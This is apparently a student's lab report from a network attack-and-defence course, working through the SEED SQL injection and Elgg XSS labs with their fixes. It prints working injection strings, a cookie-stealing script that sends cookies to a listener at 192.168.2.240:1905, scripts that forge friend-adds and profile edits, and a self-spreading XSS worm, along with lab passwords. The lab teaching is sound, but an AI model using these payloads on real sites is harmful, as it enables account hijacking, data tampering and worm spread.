20221905 2022-2023-2 《网络攻防实践》 第10周作业

一、实践内容

1.1 SQL

SQL (Structured Query Language) 是具有数据操纵和数据定义等多种功能的数据库语言，这种语言具有交互性特点，能为用户提供极大的便利，数据库管理系统应充分利用SQL语言提高计算机应用系统的工作质量与效率。SQL语言不仅能独立应用于终端，还可以作为子语言为其他程序设计提供有效助力，该程序应用中，SQL可与其他程序语言一起优化程序功能，进而为用户提供更多更全面的信息。

1.2 SQL注入

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。

1.3 XSS

跨站脚本攻击（也称为XSS）指利用网站漏洞从用户那里恶意盗取信息。用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时，通常会点击其中的链接。攻击者通过在链接中插入恶意代码，就能够盗取用户信息。攻击者通常会用十六进制（或其他编码方式）将链接编码，以免用户怀疑它的合法性。网站在接收到包含恶意代码的请求之后会产成一个包含恶意代码的页面，而这个页面看起来就像是那个网站应当生成的合法页面一样。许多流行的留言本和论坛程序允许用户发表包含HTML和javascript的帖子。假设用户甲发表了一篇包含恶意脚本的帖子，那么用户乙在浏览这篇帖子时，恶意脚本就会执行，盗取用户乙的session信息。

1.4 实践过程

1、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序，并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色：管理员是特权角色，可以管理每个员工的个人资料信息。员工是一般角色，可以查看或更新自己的个人资料信息。完成以下任务：

（1）熟悉SQL语句
我们已经创建了一个名为Users的数据库，其中包含一个名为creditential的表。该表存储了每个员工的个人信息（例如，eid，密码，薪水，ssn等）。在此任务中，您需要使用数据库来熟悉SQL查询。
（2）对SELECT语句的SQL注入攻击
上述Web应用存在SQL输入漏洞，任务是在不知道密码的情况下登陆该Web应用程序。
（3） 对UPDATE语句的SQL注入攻击
通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。 SQL对抗：修复上述SQL注入攻击漏洞。

2、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么，我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中，学生需要利用此漏洞对经过修改的Elgg发起XSS攻击，攻击的最终目的是在用户之间传播XSS蠕虫，这样，无论是谁查看的受感染用户个人资料都将被感染。

（1）发布恶意消息，显示警报窗口
在您的Elgg配置文件中嵌入一个JavaScript程序，以便当另一个用户查看您的配置文件时，将执行JavaScript程序并显示一个警报窗口。
（2）弹窗显示cookie信息：将cookie信息显示。
（3）窃取受害者的cookies：将cookie发送给攻击者。
（4）成为受害者的朋友：使用js程序加受害者为朋友，无需受害者干预，使用相关的工具了解Elgg加好友的过程。
（5）修改受害者的信息：使用js程序使得受害者在访问Alice的页面时资料无需干预却被修改。
（6）编写XSS蠕虫。
（7）对抗XSS攻击。

二、实践过程

2.1 实践一

2.1.1 熟悉SQL语句

1、首先我们需要利用指令 sudo service apache2 start 开启apache服务。通过下图我们可以看到服务器处于正在运行的状态。

2、使用命令 mysql -u root -pseedubuntu 登录MySQL数据库。

3、利用指令 show databases; 查看mysql中已有的数据库。

4、利用指令 use Users; 和 show tables;（注意“；”）进行切换数据库，并在查看Users数据库中的所有表。

5、利用sql语句 select * from credential; 查看credential中所有记录。

6、使用sql语句 select * from credential where Name = 'Ted'; 查询Name为Ted的相关记录。

2.1.2 对SELECT语句的SQL注入攻击

1、首先在浏览器中输入 www.SEEDLabSQLInjection.com 进入已经搭建好的Web页面。可以看到是这样的一个登录界面：

2、右键查看网页源码，发现登陆的表单中使用 get 方法访问 unsafe_home.php

3、相关的文件可以利用浏览器进行查看，其地址为：/var/www/SQLInjection/unsafe_home.php。

通过下面两个图我们可以看到，该程序针对admin和普通用户具有不同的处理方法。

4、因此针对程序代码，我们可以构造 Admin'#，并让 $input_uname 等于该值，这样会使得#后的Password判断不会执行（在sql语句中，#表示注释）。通过这样的方法我们便可以在不知道密码的情况下以admin用户进行登录，如下图，密码随机输入：

5、可以看到已经成功登录！

2.1.3 对 UPDATE语句的SQL注入攻击

1、首先查看 Edit_Profile 页面的源代码。点击上方的 Edit Profile 进入更新页面，然后右键查看源代码。

2、从下图我们看到，表单依旧是以 get 方式将数据发到 unsafe_edit_backend.php 页面。

3、跟上一个类似，依旧是用浏览器查看 unsafe_edit_backend.php 页面，其地址为 /var/www/SQLInjection/unsafe_edit_backend.php。

我们可以看到UPDATE更新语句处，我们可以通过构造 $input_nickname 的值来进行SQL注入攻击。我们可以使 $input_nickname 的值等于 ', Salary='1905' where name='Admin'; #，也就是把Admin的Salary改为1905。

4、在NickName处输入 ', Salary='1905' where name='Admin'; #

5、再次使用 Admin'# 登录查看，可以看到Admin的Salary已经改为1905。

2.1.4 SQL对抗：修复上述SQL注入攻击漏洞

本实验中修改sql语句的方法，是将参数与需要执行的动作或条件分开，从而避免的了sql注入的风险。

1、输入 /var/www/SQLInjection/unsafe_home.php 打开unsafe_home.php 查看其源码。

2、首先针对 unsafe_home.php 中的SELECT语句进行修改。

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

3、针对 unsafe_edit_backend.php 的UPDATE语句进行修改。

$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

2.2 实践二

2.2.1 发布恶意消息，显示警报窗口

1、首先在浏览器中访问 http://www.xsslabelgg.com。

2、使用账号：Alice，密码：seedalice 进行登录。

3、点击Alice头像进入主页，再选择 Edit profile，最后在 Brief description中输入XSS攻击代码 <script> alert('xss');</script>。

4、点击保存，发现弹出xss警告弹窗。

2.2.2 弹窗显示cookie信息：将cookie信息显示。

1、在 Edit profile 里面的 Brief description 中输入xss攻击代码<script>alert(document.cookie);</script>。

2、点击保存后，会显示出cookie的信息。

2.2.3 窃取受害者的cookies：将cookie发送给攻击者

1、因为需要把cookie发送给攻击者，因此首先查看seed虚拟机的IP地址，从下图可以看出，IP地址为：192.168.2.240。

2、根据seed的IP地址构造xss攻击代码（本机的1905端口是没有被占用的端口），依旧是在 Edit profile 里面的 Brief description 中输入xss攻击代码<script>document.write('<img src=http://192.168.2.240:1905?c='+escape(document.cookie) + ' >');</script> 并保存。

3、切换账号，使用boby的账号进行登录。账号：Boby，密码：seedboby。

4、使用指令 nc -l 1905 -v 监听1905端口。

5、和Alice成为好友。

6、使用Boby的账号访问Alice，成功得到Boby的cookie。

2.2.4 成为受害者的朋友

1、先 ctrl+shift+E 打开浏览器开发者模式，进入Network页面，然后点击和Charlie成为好友，这时我们可以在network中看到网站以POST的方式向http://www.xsslabelgg.com/action/friends/add 提交了参数表单。

从下图我们可以看到一共申请参数一共有三个，分别是：friend, __elgg_ts, __elgg_token，别分代表着好友的id、时间戳以及token。

2、根据以上信息我们可以构造xss攻击代码。

<script type="text/javascript">
window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;


    //Construct the HTTP request to add Samy as a friend.
    var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;

    //Create and send Ajax request to add friend
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
}
</script>

将该段代码放到Alice的 About me 下并选择 Edit HTML 模式，点击保存。

3、使用Boby登录，为进行测试攻击代码是否生效，先把Alice移除好友。

4、点击访问Alice主页，我们可直接在Web Console的Network中看到自动申请添加好友的数据包。

5、我们发现Boby已经和Alice成为朋友了。

2.2.5 修改受害者的信息

1、首先尝试更改 About me 的内容，并在Web Console的Network中查看到网站用POST的方式提交表单给http://www.xsslabelgg.com/action/profile/edit链接。

2、可看到提交数据包的参数中包括 __elgg_token、__elgg_ts、name 和 description等信息。

3、根据以上信息可以进行构造xss攻击代码。

<script type="text/javascript">
	window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.20221905wjh </p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>

4、将构造的xss攻击代码依旧是放在Alice的 About me 中，并点击保存。

5、登录Boby的账号，并浏览Alice的主页。

6、再回到Boby的主页发现 About me这里已经被改变了。

2.2.6 编写XSS蠕虫

1、我们根据前面的xss攻击代码构造一个具有传染性的xss蠕虫，代码如下：

<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack.20221905wjh"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>

2、将这段xss蠕虫代码放入Alice的About me中，并点击保存。

3、登录Boby账号，访问Alice主页。

4、查看Boby的 About me，发现也已经被改变了，感染了xss蠕虫攻击代码。

2.2.7 对抗XSS攻击

1、首先登录Admin的账号（账号：Admin 密码：seedelgg）。

2、找到Account->Administration->plugins。

3、找到插件 HTMLawed ，将其关闭，设为 Deactivate 状态，该插件主要是用来校验用户的输入输出，并且可以自动删除特定的标签。

4、再次登录Boby账号，发现XSS蠕虫攻击已经失效。

三、学习中遇到的问题及解决

1、问题：开始不知道怎么新建一个用户
解决方法：参考 https://blog.csdn.net/weixin_44058333/article/details/99670265

2、问题：在实验一中登录MySQL数据库失败。
解决方法：改成 mysql -u root -pseedubuntu 指令。

3、问题：在实验二中尝试将cookie发送给攻击者时并没有发送成功，而且监听端口也没有监听到。
解决方法：在Brief description中改变代码后忘记保存了（o(╥﹏╥)o）

四、学习感想和体会

本次实验虽然不难，但是个人感觉实验过程比较繁琐，做起来还是有些吃力。通过这次实验，自己动手实现了sql注入以及xss攻击，充分理解了它们的攻击原理以及防御策略，接下来需要进一步加强实践，懂得如何去防御这些攻击所带来的危害。

五、参考资料

https://blog.csdn.net/weixin_44058333/article/details/99670265
https://www.cnblogs.com/william-tony/p/16296930.html
https://www.cnblogs.com/ql5199/p/16278848.html
https://blog.csdn.net/day0713/article/details/123172324